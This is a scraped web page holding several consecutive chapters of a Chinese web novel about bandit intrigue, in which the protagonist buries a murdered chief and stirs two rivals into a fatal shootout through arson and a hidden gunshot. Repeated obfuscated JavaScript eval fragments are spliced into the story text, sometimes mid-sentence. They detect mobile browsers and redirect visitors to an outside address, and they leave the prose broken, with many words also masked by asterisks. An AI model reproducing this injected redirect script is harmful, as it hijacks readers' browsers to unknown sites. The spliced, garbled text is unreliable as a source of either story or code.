“区区小事,何足挂齿。倒是黄飞虎之事解决起来的确很棘手,这个消息肯定瞒不了多久的。对了,你们山寨沈公豹和**天对你怎么样?” “那个沈公豹好色成性,早就对我垂涎已久,只是碍于我爹和黄飞虎的关系不敢对我有非分之想,如今这个情形,他一定不会善罢甘休的。” “那他和**天的关系怎么样?” “**天一直看不上沈公豹,认为他行事鲁莽,不学无术,只是凭借着和黄飞虎的密切关系,才做了二当家。” “鹬蚌相争,黄雀在后,我们可以利用他们之间的相争坐山观虎斗。” 慕容雪不明白李二狗的坐山观虎斗是什么意思,她现在最担心的还是黄飞虎的尸体。 “那黄飞虎的尸体怎么办?” “等天黑之后我们再找个地方把他的尸体埋了。” “可是昨晚有很多人看到他来我这里了,能瞒得住吗?” “瞒不住也得瞒,只要我们不承认,别人也不能把黄飞虎失踪的事安在你身上,你记住一点,你是受害者。” 慕容雪想了想,觉得李二狗说得很有道理。 “我都听你的,二狗。” 一声二狗,把李二狗叫得心里暖暖的。 “小雪,那我们就等天黑之后再动手。” 慕容雪点了点头,正在这时,突然响起了一阵敲门声。 “慕容姐,你在屋里吗?” 李二狗此时正躺在慕容雪床上,他身上绑着绷带,根本没有地方可藏,慕容雪一时显得有些慌乱。 她低声问道:“我们现在怎么办?” 李二狗心中早已有了主意。 “你装作被黄飞虎欺凌的样子,不要让任何人进来。” 慕容雪立刻心领神会,放声痛哭起来。 第306章 你就是霸虎寨大当家 “慕容姐,你怎么了?”孙小雨问道。 慕容雪边哭边说道:“黄飞虎这个王八蛋,我没脸见人了。” 昨晚,黄飞虎酒后到慕容雪屋里孙小雨是知晓的,当时她根本不敢靠近!她知道慕容雪心里肯定会埋怨自己。 “慕容姐,你千万别想不开!快点开开门,让我进去。” 李二狗给她使了个眼色。 “小雨,你走吧,我现在不想见任何人,我只想一个人静一静。” 孙小雨心想,慕容雪果然在埋怨自己,可自己只是一个小丫鬟,当时那种情形她根本没有任何办法。 她只能说道:“慕容姐,大当家的不见了,现在大家都在到处找他。” “他**才好呢!我再也不想见到他,呜呜……” “慕容姐,三当家的让我来问问你,昨晚大当家的从你这里离开后去了哪里?” “我怎么知道他去了哪里?他爱去哪里去哪里,我根本不关心。” 慕容雪哭得更伤心了。 “慕容姐,那你好好休息,我先去回禀三当家的一声。” 孙小雨走后,李二狗朝着慕容雪竖了一个大拇指。 慕容雪羞涩地一笑,娇嗔道:“都怪你,非让人家这样演,人家以后还怎么见人?!” “以后你就是霸虎寨大当家,谁敢对你无理?” 慕容雪连忙摆手道:“我?大当家的?这怎么可能?沈公豹和**天都不是省油的灯,他们怎么会同意让我当大当家的?” 李二狗则显得很有信心。 “我刚才都说过了,鹬蚌相争,渔翁得利,得让他们两个人先斗起来。” 慕容雪还是一脸懵逼。 “怎么斗?” 李二狗保持着对漂亮女人特有的耐心,他最喜欢教导这种单纯的女人。 “一般来说,大当家的失踪了,一般会由二当家的接任寨主之位。” “对啊,可我只是四当家的,怎么可能由我接任寨主呢?” 李二狗笑道:“你先听我把话说完,**天难道不想当寨主吗?他肯定也想,得想个办法让他俩斗起来。” “什么办法?” “现在还不到时候,等明天他们再找不到黄飞虎,肯定会先推选一个寨主出来,到时候你选择支持**天,沈公豹肯定会不服气,**天见你支持自己,肯定会**,他俩之间必有一场争斗。” 慕容雪不禁对李二狗刮目相看,这个男人怎么肚子里这么多主意,难怪人家能当上清风寨的大当家。 “二狗,我都听你的,不过当霸虎寨的大当家,我可没有信心。” “你不当大当家,怎么保护你自己?你放心,有我在背后支持你,你肯定没有问题。” 慕容雪这才放下心来,有清风寨的支持,当然不会有问题。 “你先别说话了,我再给你上点药吧,你看你身上的伤口又出血了。” 和慕容雪说了半天话,李二狗完全忘记了身上的伤痛。 现在经慕容雪这么一提醒,李二狗才感觉到全身上下每个毛孔都在痛。 慕容雪拿出跌打损伤药,贴心地为李二狗伤口上药。 李二狗全身上下都有伤,他身上除了绷带之外,只穿着一条裤衩,慕容雪给他上药时,他身体的某个部位竟情不自禁地发生了变化。 慕容雪一张俏脸羞得通红,李二狗恨不得找个地缝钻进去。 这种没见识的行为,实在是太丢脸了,李二狗自认不是一个没有见识的男人。 抹完药之后,慕容雪给李二狗身上盖好被子。 “你先休息一会吧,等天黑了我们再出去找地方掩埋黄飞虎的尸体。” “那你呢?昨晚一定没休息好吧?看你都有黑眼圈了。” 一听到自己有了黑眼圈,慕容雪的脸色都变了。 她摸着自己的脸颊,不好意思地说道:“这么明显吗?” “确实很明显,要不然你也上床睡一会吧。” 慕容雪红彤彤的俏脸顿时红到了耳朵根。 “这……我还是在椅子上眯一会吧。” 李二狗自嘲道:“我现在都这个样子了,你还有什么好担心的?上来吧,我保证不碰你。” 对于李二狗,慕容雪还是给予了充分的信任。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078336|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李二狗不碰她的承诺,她既感到安心同时也有一丝失望,一种说不出来的感觉。 慕容雪脱掉靴子,和衣躺在了李二狗身边。 两人的呼吸都有些急促,他们都努力平复着自己的心情,以免给对方留下不好的印象。 也许是太累了,不知道什么时候两人都睡着了。 慕容雪醒来时,夜色已经降临。 李二狗尚在熟睡当中,突然他一个翻身,和慕容雪来了个面对面。 慕容雪能清晰地感觉到李二狗的鼻息扑到自己脸上,痒痒的,很舒服。 真是一张人畜无害完美无缺的俊俏脸庞,这一刻,她有一丝想要亲他一口的冲动。 她鼓足勇气,好几次试图去靠近他性感的厚嘴唇,最近的一次几乎两个嘴唇已经触碰到一起,最后她还是放弃了。 她不是那样随便的女人! 慕容雪翻身下床,她实在抵挡不住这种诱惑,那就只能让自己远离这种诱惑。 尽管她十分小心,但起床的声音还是惊醒了李二狗。 他揉了揉有些酸痛的眼睛,问道:“现在几点了?” “已经晚上八点了。” 李二狗从床上坐起来,疼得龇牙咧嘴。 “伤口还很疼吗?”慕容雪关心地问道。 “还好,都是一些皮外伤,没事的。” 李二狗想要下床,一掀被子才发现自己身上只穿了一条裤衩。 慕容雪立刻发现了李二狗的尴尬,赶忙说道:“你的衣服破了,我已经给你缝补好了,我现在拿给你。” 她快步走到桌前,把缝补好的衣服拿给李二狗。 李二狗接过衣服,尴尬地看了一眼慕容雪。 “你穿吧,我保证不看,嘿嘿。” 慕容雪调皮地转过身,李二狗觉得她看自己的眼神很熟悉,那是女人对男人的欣赏。 这种眼神于兰芝有,**有,静雯有,甚至连张玲玉也有。 李二狗穿好衣服,便下了床。 他身上的伤口虽然还没有完全愈合,但抹了金疮药之后明显好了很多。 突然,李二狗捂住了肚子。 第307章 是时候选出一位新寨主了 “咕噜咕噜……” 李二狗的肚子突然传来一阵咕噜声,他已经一天一夜没有吃东西了。 李二狗还没来得及尴尬,慕容雪的肚子也跟着咕噜起来,两人都是一天一夜没有吃东西了。 “实在不好意思,我去食堂弄点吃的,你在这里等我,不要出来。” 慕容雪走后,李二狗推开后门进入山洞,看到黄飞虎的尸体被放置在一个角落里,地上还有一摊血迹。 自己和慕容雪在前屋打情骂俏,洞里却躺着一具冰冷的尸体,实在是有碍观瞻。 另外李二狗还担心尸体放在山洞太久,随时有暴露的风险,他决定自己独自去埋了他,这种腌臜之事他不想让慕容雪参与。 昨天进屋的时候他记得门前放有一把铁锨,便走出房门,果然在门前看到一把崭新的铁锨。 他拿起铁锨来到离茅草屋不远处的一块平地,平地上的土质比较松软,正适合挖坑埋人。 平地一侧有一棵长势茂盛的柿子树,把黄飞虎埋在这棵树下,也算给他一个遮风挡雨之所。 李二狗观察了一下四周,并没有发现什么异常情况,便在树下挖了起来。 身体上的伤口处不时传来一阵阵的疼痛感,但李二狗已顾不得这些。 不到半个小时,他就挖好了一个七尺见方的土坑,土坑虽然不是很深,但把黄飞虎的尸体放在里面,埋好后再在上面堆一些碎石,旁人根本发现不了。 李二狗返回茅草屋,把黄飞虎的尸体拖出来,扔在土坑里。 躺在土坑里的黄飞虎安静地闭着眼睛,神态安详,再也没有了曾经的飞扬跋扈。 “飞虎啊,没能给你打口棺材实在也是迫不得已,希望你能谅解我的难处,来世不管你托生成什么都不要再做恶事。” 李二狗叹息一声,然后拿起铁锨铲土埋了起来。 又出了一身臭汗,汗水浸到伤口里钻心的疼。 埋好后他又铲了一些碎石堆放在上面,一代土匪黄飞虎就这样草草结束了他罪恶的一生。 李二狗返回茅草屋,把地上的血迹处理干净。 做完这些,李二狗才发现自己身上的绷带已然被鲜血浸透。 “哎呀,你怎么这么不听话?伤口怎么又裂开了!快坐下,我给你看一看伤口。” 慕容雪手里提着饭刚进屋,看到李二狗身上血红血红的绷带,差点把手里的饭菜掉到地上。 “没事,刚才出去稍微活动了一下,没想到伤口又裂开了。” 慕容雪愠怒道:“明明知道自己身上有伤还出去活动?你真是不知道人家会心疼的吗?快坐下,我给你抹点药,伤口要是发炎了,有你好受的。” 李二狗不想过多的解释,只得微笑着坐在床沿上,此刻他的心里甜如蜜甜,根本感觉不到伤口的疼痛。 慕容雪小心翼翼地解下绷带,伤口处的血迹令她忍不住落下热泪。 其实李二狗受得主要是内伤,这些皮外伤的伤口处虽然看似狰狞,实际上并无大碍。 慕容雪给李二狗抹药的手明显有些颤抖,生怕弄疼了他。 虽然确实有些疼痛,但李二狗哼都没哼一声,全程保持着灿烂的笑容。 包扎完伤口,慕容雪命令道:“待会吃完饭之后,你老老实实上床躺着休息,哪里也不许去!黄飞虎的尸体我自己去处理。” 李二狗轻飘飘地说道:“黄飞虎的尸体我已经处理完了,哪能让那个腌臜之物玷污了你纯洁的眼睛。” 慕容雪这才明白他身上的伤口为何会全部裂开。 千言万语只化作一句甜蜜的埋怨。 “你怎么这么傻啊?” 两人吃过饭之后,慕容雪赶紧催促李二狗上床躺着,为了防止他不听话乱走动,她自己主动躺在了李二狗身边。 两人静静地躺在床上,倾听着彼此的呼吸声,谁都不敢越雷池半步。 天色尚早,为了避免尴尬,李二狗主动说道:“小雪,咱们聊聊天吧。” “好啊。”慕容雪愉快地答应了。 这一聊就停不下来,两人从诗词歌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078337|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赋聊到人生哲学,从儿时趣事聊到壮志豪情。 李二狗读书不多,慕容雪聊到诗词歌赋、琴棋书画的时候,他虽然听不太懂,但没有表现出一丝一毫的不耐烦,而是认真地倾听,时不时地还会发出一声赞美和感慨。 当李二狗添油加醋般聊到自己**王正直的粮食分给灾民的往事时,慕容雪则如小迷妹般完全被李二狗的英雄壮举所折服。 两人越聊越投机,四目相对之时,已有些情不自禁。 李二狗暗暗告诫自己,一定要控制住自己。 他控制控制再控制,可还是没控制住。 在情感即将决堤之时,李二狗突然说道:“小雪,今晚的月亮好圆啊,咱们去屋顶看月亮吧。” 慕容雪内心虽略有失望,但内心也愈发佩服李二狗的为人。 两人一起来到屋顶,慕容雪依偎在李二狗怀里,两人抬头看着一轮明月和满天繁星,内心的欲望之火才渐渐熄灭。 “二狗,不管以后怎么样,我都不会忘记今晚的月亮,这是我今生看过最美最圆的月亮。” 李二狗有感而发道:“明月有情应识我,年年相见在他乡。” 慕容雪一愣,心知李二狗这么优秀的男人一定是一个有故事的人。 她也感叹道:“我还是喜欢苏东坡的但愿人长久,千里共婵娟。” 两人就这样相依相偎,不知道什么时候竟靠在一起睡着了。 清晨枝头的喜鹊叽叽嚓嚓地叫个不停。 两人几乎同时醒来。 腰酸背痛腿麻脚麻,但内心却无比充盈。 两人相视一笑,百般思绪涌上心头。 两人相互搀扶着回到屋内,李二狗突然想到了一件事。 “黄飞虎失踪这么久,他们肯定急坏了。” “昨晚我去食堂做饭的时候,听他们说,沈公豹和**天已经闹翻了天。” 李二狗笑道:“不能再等了,是时候选出一位新寨主了。” 慕容雪心领神会。 “一会我就去聚义堂。” 第308章 事业爱情双丰收 霸虎寨聚义堂。 沈公豹和****目而视,慕容雪则冷眼旁观。 “大哥不会无缘无故地消失,我怀疑一定是有人对大哥下了毒手。” 沈公豹说完看向慕容雪,这个女人刚被黄飞虎欺凌,此刻竟如此淡定,其中必有蹊跷。 黄飞虎神秘消失,**天内心虽也着急,但他最担心的还是自己在霸虎寨的未来。 如果沈公豹顺理成章接手霸虎寨成为新任寨主,自己将永无立足之地。 “大哥武功盖世,谁能悄无声息地对大哥下毒手?” “那你说大哥去哪儿了?” “大哥去哪了我怎么知道?” “你不知道就给我闭上你的鸟嘴!” “你……” 两人几乎同时站起身来,手放在枪柄上,剑拔**张,大战一触即发。 “好了,都是自家兄弟,吵什么?” 慕容雪很少大声说话,沈公豹和**天几乎同时看向有些不正常的她。 沈公豹问道:“四妹妹,你真不知道大哥去哪了吗?” “哼,我要知道他在哪,我肯定剥了他的皮,他还有脸见我吗?他对得起我爹对他的知遇之恩吗?对于这种忘恩负义的小人,山寨的兄弟能服他吗?” 沈公豹和**天都沉默了。 黄飞虎酒后欺凌慕容雪,这种事情确实是上不得台面,难道他真得会放弃山寨羞愧而逃? 慕容雪见自己的目的已然达到,便说道:“我建议咱们重新选一位寨主出来,不管他黄飞虎回不回来,我都不同意他再做霸虎寨寨主,因为他不配!” 听到要重新选出一位寨主,沈公豹激动异常。 其实沈公豹心中早有此意,作为霸虎寨二当家,大当家失踪,二当家接任寨主顺理成章。 但这样的事别人不提,他自己不好提出来,以免落人口实。 没想到慕容雪却主动提出重选寨主一事,真是自己欲望刚起,美人已然裸身来到床前。 自己和慕容雪都来自东北,曾经也是她爹慕容复手下的一名军官,于公于私,她没有理由不支持自己。 想到这,沈公豹激动的满面红光,仿佛自己已经坐上了寨主的宝座。 “山寨不能一日无主,我同意四妹妹的意见。” 沈公豹和慕容雪都同意重新推选寨主,**天即使想反对,也根本不起作用。 不过想到沈公豹一旦当上寨主,自己在山寨将无立足之地,**天还是决定**。 “如今大哥下落不明,我们就如此着急地推选新的寨主,这样恐怕有所不妥吧?如果大哥回来了怎么办?” **天这话说得合情合理,沈公豹一个粗人,一时还真不知道该如何反驳。 慕容雪冷笑道:“这还不容易?咱们先推选一位代理寨主,行使寨**力,如果黄飞虎回来了,再让给他就是了,这样大家面子上也都过得去。” 沈公豹简直想立马跪在慕容雪的脚边,这个女人真是上天赐给自己的礼物。 她如今虽然被黄飞虎欺凌,不再是自己心目中那个冰清玉洁的女人,但她实在太美太馋人了。也正因为被黄飞虎欺凌,她才不得不做自己的压寨夫人。 事业爱情双丰收,沈公豹眼前一片坦途,即将攀上人生的巅峰。 慕容雪的话说的更加合情合理,**天再想反驳也找不到合适的理由。 “既然大家都同意,那咱们就开始吧。” 慕容雪话音未落,沈公豹突然意识到有些不对劲。 如果他们三个人都是自己推选自己岂不是等于陷入僵局。 “等一下,四妹妹,如果咱们每个人都投自己一票,岂不是永远也选不出来寨主?” “那二哥有何建议?难道让山寨的兄弟每人都来投上一票吗?” 沈公豹当然不愿意这样,他平时在山寨作威作福惯了,底下的人早就对他怨声载道。 “那当然不行!这么重要的事情怎么能让他们那些无知的‘崽子’们投票?岂能视同儿戏?” “这也不行,那也不行,干脆还是先别选了,说不定过几天大哥就回来了。” 慕容雪说道:“如果我们都推选自己,每个人得票一样的话,到时候就按咱们目前排名的先后顺序来决定寨主人选。” 慕容雪的这个建议无异于宣布沈公豹已经是新任寨主人选。 “我反对!” **天实在想不明白,慕容雪为何会提出这样一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李二狗添柴加火 慕容雪故意劝道:“二哥、三哥,你们这是做什么?快把枪收起来,你们这样做就不怕让兄弟们笑话吗?” 沈公豹狞笑道:“谁**敢笑话老子?老子带着这群崽子在关外打仗的时候,有些人还在街头摆摊算命忽悠人呢!” **天上山之前在街头摆摊算命,靠忽悠人生活,这是他的逆鳞。 “沈公豹,你**不要欺人太甚,老子也不是好惹的!” “**天,老子就欺负你了,你能把老子怎么地?” 两人的矛盾已被成功激起。 按照李二狗事先制定的计划,矛盾激起之后,一定要让它得到充分发酵,这样才能使人慢慢失去理智。 慕容雪上前拉住**天,低声劝道:“三哥,你看外边那些人都是跟着他从东北过来的,此刻真闹将起来,恐怕你占不到便宜,我看你还是先离开这里吧,再从长计议。” **天看到门外站着几个黄飞虎和沈公豹从东北带过来的弟兄,他们的手已悄悄按在枪柄之上。 好汉不吃眼前亏,这个浅显的道理**天又岂能不懂。 “哼,结果已无法更改,不管你承不承认,我现在已经是代理寨主!” **天说完就往外走,沈公豹在身后骂道:“老子就是不承认,看你能把老子怎么着?” 慕容雪努力憋着笑,说道:“二哥,没什么事我先回去了,被你们吵得头疼。” “慕容雪,我没想到你竟是一个两面三刀的女人,算我沈公豹以前瞎了眼!” 慕容雪一脸委屈。 “二哥,你这话从何说起啊?什么叫两面三刀?我答应过你什么?还是我对你有过什么承诺?” 沈公豹被她怼得哑口无言,一切都只是他的一厢情愿,慕容雪确实没有答应过他任何事情。 “四妹,咱们一起从东北过来,如今大哥失踪了,咱们更应该抱成一团才是,没想到你竟会选择**天,实在是太令我伤心了。” 慕容雪冷冷地说道:“黄飞虎在我屋里发酒疯的时候你在哪里?他欺凌我的时候你又在哪里?你为我说过一句话吗?” 一句话怼得沈公豹哑口无言。 慕容雪冷笑一声,径直离开了聚义堂。 回到茅草屋,慕容雪绘声绘色地把刚刚发生的事情全部告诉了李二狗,一切都在他的预料之中。 “接下来咱们怎么办?”慕容雪用崇拜的目光盯着李二狗。 李二狗微微一笑很迷人。 “咱们什么都不用做,他们会主动给咱们表演一出好戏。” “何以见得?如果沈公豹就是不承认今天的投票结果怎么办?” “你以为**天不着急吗?他比沈公豹还着急。” 慕容雪睁着一双纯净无辜的大眼睛盯着李二狗,显然还是没有明白他的意思。 “你觉得**天会束手就擒吗?秦桧还有几个好朋友,**天能没有吗?如果我分析的没错,他们两人很快都会有所行动。” “你是说他们……”慕容雪吓得捂住嘴巴。 对于男人来说,权力就像**,没有人可以抵御权力的诱惑。 沈公豹不会放弃,**天也不会放弃,他们之间已然是你死我活的关系。 不过李二狗分析,他们近期都不会轻易向对方下手,因为双方都会忌惮对方会有所防备。 但李二狗不想这样拖下去,霸虎寨的土匪每天晚上都会下山抢割小麦,如果再拖个十天半个月,小麦就被抢没了。 最重要的是他不想一直和慕容雪共处一室,时间一长,他怕日久生情。 他的女人已经够多够麻烦了,他实在不能再把慕容雪收到身下。 夜幕降临之后,李二狗向慕容雪打听了沈公豹和**天的住处。 “小雪,今晚无论发生什么事情你都不要出来,一切等到天亮再说。” 慕容雪被吓了一跳,她不明白李二狗要去做什么。 “二狗,你要去做什么?” 李二狗显得很轻松,或者说他故意在慕容雪面前表现的很轻松。 “我去给他们添点柴加把火。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081647|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >慕容雪顿时明白了李二狗的企图,她拉住李二狗的胳膊,劝道:“你伤还没好,这样做太危险了,我不同意你去。” 李二狗说道:“放心吧,我不会有事的,乖乖在屋里等我回来。” 李二狗离开茅草屋,借着夜色来到沈公豹的住处。 和事先预料的一样,沈公豹住处门前果然有四个**的土匪在来回走动巡逻。 李二狗又来到**天的住处,门前也有**的土匪在巡逻。 两人都害怕对手偷袭,全部加强了安保力量。 相比于**天,李二狗更倾向于从沈公豹下手,因为沈公豹是一个性如烈火之人,更容易被激怒。 李二狗再次来到沈公豹住处不远处,潜伏在黑暗里,静待机会的来临。 凌晨两点左右的时候是最容易犯困的时候,也是精神最容易松懈的时候,李二狗看了看手表,才刚刚晚上十点。 想到这,李二狗便安心地睡了一觉,再次醒来之时,已经是凌晨两点半。 李二狗揉了揉惺忪睡眼,发现门口巡逻的四个土匪全部精神萎靡,有两个人已经靠在墙上睡着了。 一个土匪打了一个呵欠,说道:“我去趟厕所,你看着一点。” “随便找个旮旯就解决了,上什么厕所?” “我要拉屎!能拉在这吗?让二当家发现了,腚眼还不给缝上?” “你**真是懒驴上磨屎尿多,快去快回。” 终于等到了一个千载难逢的机会。 那人走后,另一名土匪见靠在墙上那两人睡得正香,便准备去叫醒他们,李二狗已然悄悄摸到他身后。 李二狗一手捂住他的嘴巴,另一只手猛地砸向他的后脑,那人顿时晕了过去,身体软绵绵地倒在地上。 李二狗把他的身体靠在墙上扶正,伪装成睡着的样子。 他来到房门前,沈公豹鼾声如雷。 如果此时破门而入,能不能杀掉沈公豹暂且不说,惊动了其他人,自己脱身都是个问题。 还好他早有计划。 第310章 “四梁八柱” 李二狗从院子一个角落里抱来几捆麦秆堆放在房门前,掏出火柴点燃了麦秆,然后赶紧离开了院子。 天干物燥的季节,火苗在短时间内就已经蹿上屋顶。 “失火了,快救火啊!” “失火了,快救火啊!” 刚才睡着的土匪被巨大的浓烟呛醒,惊慌失措地一边喊叫一边找水救火。 沈公豹不愧是在残酷战场厮杀中活下来的老兵,他从里面一脚踹开摇摇欲坠的房门,头上裹着一床被子窜了出来。 沈公豹大怒。 “妈了个巴子!**天,你先不仁就别怪老子不义了,马上集合兄弟,老子今晚要宰了他!” 很快,原来东北军的兄弟就赶过来十几个人。 其他土匪忙着救火,沈公豹则带着这十几个人直奔**天住处。 **天已被吵醒,他披着衣服,看着沈公豹住处被大火笼罩,心想,真是天助我也! 烧死沈公豹,自己就是霸虎寨的大当家! “**天,你这个卑鄙小人!” **天看到沈公豹带人杀气腾腾地赶来,赶紧命令身边的几个心腹做好抵抗的准备。 沈公豹此时已经陷入癫狂,他本就想除掉**天,只是没想到他竟然比自己先动手,今晚他必须死! “二哥,你……” **天话未说完,沈公豹大喝一声:“给我杀了**天!” 顿时**大作,两帮人互射起来。 沈公豹一伙渐渐占据上风,已经逼近**天的住处。 李二狗躲在暗处,掏出驳壳枪,瞄准杀兴正浓的沈公豹,“砰”的一枪正中他的脑门。 “二当家的!” “二当家的!” “为二当家的报仇,给我冲进去,杀了**天!” 这群人得罪了**天,此时沈公豹已死,他们只能选择继续拼命,因为**天肯定不会放过他们! **天一伙力量本就薄弱,渐渐支撑不住,原来东北军一伙已经杀进院子里。 院子里只剩下**天一人。 **天躲在屋中,大声喊道:“外面的兄弟,现在沈公豹已死,只要你们放过我,等我当上寨主之后肯定不会亏待你们。” 一个土匪问道:“八爷,你看……” 八爷虽然不是山寨当家的,但他在山寨的资历却非常深厚,除了几个当家的,就属他威信最高。 如果这几个人都**,那霸虎寨寨主之位岂不是落到自己手中! 想到这,八爷差点笑出声来。 “兄弟们,咱们已经得罪了**天,他要当上寨主肯定不会放过咱们兄弟,一不做二不休,杀了他!一了百了。” “八爷说得对!我们都听你的!” 八爷一挥手,几个土匪便冲向屋子。 **天吓坏了,他是秀才出身,本身并没有什么武艺,枪法更是平平无奇。 房门被撞开的瞬间,**天扣响了**,一名冲在最前面的土匪倒了下去。 其他人见状,对着**天就是一阵猛射,顿时把他打成了筛子。 八爷刚要狞笑,一颗**已经钻入他的后脑,笑容凝固在他的脸上。 李二狗闪身离开了这个是非之地。 霸虎寨已经乱成了一锅粥。 嘈杂的人群中,李二狗发现了朱老四的身影。 “老四。”李二狗一把抓住他。 朱老大正提着水桶救火,看到李二狗,先是一愣。 “你怎么还在这里?” 李二狗把朱老四拉到一个角落。 “老四兄弟,发达的机会来了,就看你能不能抓住了。” 朱老四虽没读过书,但并不傻,他不会随随便便相信一个人。 “这位兄弟,有话不妨明说吧。” “你知道吗?沈公豹和**天都**。” 朱老四愣在原地,刚才他的确看到沈公豹带着自己的亲信去往**天的院子。 “你说的可是真的?” “我有骗你的必要吗?”李二狗反问道。 “那你想让我做什么?”朱老四也是一位面有猪相内心嘹亮之人。 李二狗附耳对朱老四一番交代,朱老四只思考了一秒钟便答应下来。 “事成之后,你答应我的事可不要反悔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085354|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “放心,一定兑现。” 朱老四扔下水桶,消失在夜色中。 经过一番折腾,天色已然亮了起来,火吞没了沈公豹的院子,好在并没有殃及其他地方。 慕容雪站在一片废墟前,神色凝重。 她的目光一直在找寻李二狗的身影,却一直没有看到。 “报告四当家的,二当家的和三当家的火拼,两人都**!” 慕容雪半晌没有说话,虽然她早有心理准备,但这个消息还是令她震惊不已。 “马上通知山寨的‘四梁八柱’到聚义堂。” 由于黄飞虎等人都是从东北地区过来的,所以他们沿用了东北地区土匪的一些传统。 霸虎寨除了四个当家的之外,还以“四梁八柱”为骨干,其他的众多弟兄则通称“崽子”。 “四梁八柱”在土匪中如同宫殿当中的大梁与立柱,分为“里四梁”和“外四梁”,是山寨中的骨干力量。 “里四梁”中分别有四个角色。 一是负责战斗的“炮头”,是一位百发百中的神**。 二是统管土匪内部生活以及粮饷的“粮台”,确保团伙成员的日常供给。 三是负责巡逻、守夜的“水香”,时时警惕外敌的来袭。 四是专门出谋划策、充当智囊的“翻垛的”,其实际作用类似于狗头军师。 在“外四梁”中,每一个角色同样不可或缺。 首先是负责绑票的“秧子房掌柜”,常常策划和实施**事件。 其次是“花舌子”,即负责与人质家属沟通、递送勒索信并进行谈判的人。 再者是“插千的”,主要职责是侦查目标的背景和行动线索。 最后是“字匠”,负责处理文书和记录,扮演着秘书和**员的角色。 在这个团伙中,“炮头”“粮台”和“秧子房掌柜”的地位通常高于其他头目,因其是大当家最为倚重的重要助手。 刚刚死去的八爷就是“秧子房掌柜”,深受黄飞虎和沈公豹的信任。 很快,霸虎寨“四梁八柱”齐聚聚义堂。 第311章 癞**想吃天鹅肉 慕容雪独自端坐在聚义堂中央,此刻她的心情是十分紧张的。 以往她只是霸虎寨的四当家,聚义堂中央的四把椅子她只能坐在西边最外侧的一个。 过去聚义堂开会时,她基本上都是一言不发。 一来是因为她不想参与山寨的事务,二来也是因为她的话在霸虎寨根本就没有什么份量。 能当上四当家,完全是因为黄飞虎垂涎于她的美色。 说白了,她只是霸虎寨的一个花瓶罢了。 霸虎寨的“四梁八柱”全部站在聚义堂大厅内,在聚义堂,他们是没有座位的。 众人望着慕容雪娇小而又瘦弱的身躯,脸上满是不屑。 黄飞虎、沈公豹和**天不是失踪就是死亡,如今山寨只剩下一个弱女子当家,他们怎能没有想法? 大家七嘴八舌、议论纷纷,丝毫不把慕容雪放在眼里。 慕容雪故意咳嗽几声,但是大家仿佛没有听见一般,喧哗的声音反而大了许多。 杨黑娃凝视着慕容雪,两人四目相对之时,慕容雪显得眼神躲闪,根本不敢与他对视。 杨黑娃是霸虎寨的“炮台”,一个四十多岁的东北汉子。 他早年跟随杨飞虎当兵打仗,东北沦陷后跟着杨飞虎来到转经山落草为寇。 杨黑娃虽然曾经也是慕容复麾下一员,但那时候他在军中地位低下,和慕容复并没有直接交往,当然谈不上什么感情。 对于慕容雪,他根本不放在眼里。 花瓶只能是花瓶,想当大当家的,门都没有! 他绝不可能屈服在一个女人手下。 “大家先静一下,我有话要说。” 慕容雪见大家根本没有停下来的意思,只能鼓足勇气,对着人群喊了一嗓子。 根本没人搭理她! 此时的慕容雪孤立无援,她真希望李二狗能陪在自己身边。 对于她来说,当不当霸虎寨的大当家,她根本不在乎。 但如果当不了霸虎寨大当家,这兵荒马乱的时节她根本没有地方可去! 一旦其他人当了霸虎寨大当家,她在山寨的身份注定无法独善其身。 此时的她就像一叶浮萍,在茫茫的大海之中无依无靠,四处飘零、孤独凄凉。 杨黑娃冷眼旁观着这一切,他就是要给慕容雪一个下马威。 